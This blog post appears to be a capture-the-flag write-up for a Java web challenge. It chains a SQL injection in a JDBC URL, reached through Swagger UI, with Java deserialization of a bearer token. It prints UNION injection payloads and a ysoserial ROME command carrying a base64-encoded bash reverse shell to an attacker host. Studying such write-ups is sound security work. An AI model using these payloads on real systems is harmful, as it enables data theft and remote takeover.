Think Java

[网鼎杯 2020 朱雀组]Think Java

给了一部分的class文件,直接扔到IDEA里面反编译一下

image-20241103180654959

分析一下代码

SqlDict类中,有jdbc连接

image-20241103181119862

这里的dbName似乎是可控的,继续向下看

image-20241103181219131

这里的sql语句,直接把dbName和TableName给拼接进去,并且没有任何过滤,直接执行了sql语句,如果dbName是可控的,那么这里必然存在sql注入

Test类中

image-20241103182244162

存在两个路由,并且此处还接受了dbName作为参数,这里应该就是入口点了

访问一下路由,发现都没法访问

image-20241103182749029

但是我们能看到Test类中导入了swagger包

image-20241103182720095

这样我们就能访问 /swagger-ui.html 路由

image-20241103183045903

这样我们就能在这里面调用三个接口

/common/test/sqlDict 就是我们sql注入的接口了

image-20241103183119404

此处的sql注入涉及到一个点就是jdbc,因为我们输入的dbName会被拼接到jdbc的url中

需要去处理,有两种方式

1
2
3
4
//第一种   利用问号把后续内容当作jdbc url中的参数
myapp?jilei=1'
//第二种 利用# 把后续内容作为 url中的锚点
myapp#'

我这里采用的是第二种

构造

1
myapp?#' union select group_concat(SCHEMA_NAME)from(information_schema.schemata)#

拿到了库 information_schema,myapp,mysql,performance_schema,sys

image-20241103192217425

接下来就是爆库爆表爆字段了,这里就不写了

最终通过

myapp#'union select group_concat(id,0x7e,name,0x7e,pwd) from myapp.user#

拿到了账号密码

image-20241103192437512

有一个/common/test/login接口可以供我们登录

1
2
3
4
{
"password": "admin@Rrrr_ctf_asde",
"username": "admin"
}

直接用账号密码登录,会返回一段json

image-20241103192737923

1
2
3
4
5
6
{
"data": "Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu",
"msg": "登录成功",
"status": 2,
"timestamps": 1730633236999
}

学过java反序列化应该都能看出来 data键的值 从 Bearer 之后的部分就是java序列化后再base64的结果

我们把data的值取出来去下一个路由

image-20241103193426715

这里应该就会反序列化得到这些结果,此处应该就是反序列化的入口点

接下来利用bp的一个插件,去分析这个数据包

image-20241103193330866

发现,可能会存在ROME反序列化

利用ysoserial,输入命令

1
java -jar ysoserial-all.jar ROME "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}" > 1.bin

base64部分需要利用自己的vps去构造

输出的1.bin写一个脚本去进行base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.FileOutputStream;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class decod {
public static String encodeFileToBase64(String filePath) {
try {
// 读取文件内容到字节数组
byte[] fileBytes = Files.readAllBytes(Paths.get(filePath));
// 使用 Base64 编码
return Base64.getEncoder().encodeToString(fileBytes);
} catch (IOException e) {
e.printStackTrace();
return null; // 返回 null 或者可以选择抛出异常
}
}

public static void main(String[] args) {
String filePath = "1.bin"; // 替换为你的文件路径
String base64Encoded = encodeFileToBase64(filePath);
if (base64Encoded != null) {
System.out.println("Base64 Encoded Content:");
System.out.println(base64Encoded);
} else {
System.out.println("Failed to encode file.");
}
}
}

复制输出结果,作为Authorization的值发送

成功连接并得到flag

image-20241103193831093

Donate
  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2015-2024 John Doe
  • Visitors: | Views:

请我喝杯咖啡吧~

支付宝
微信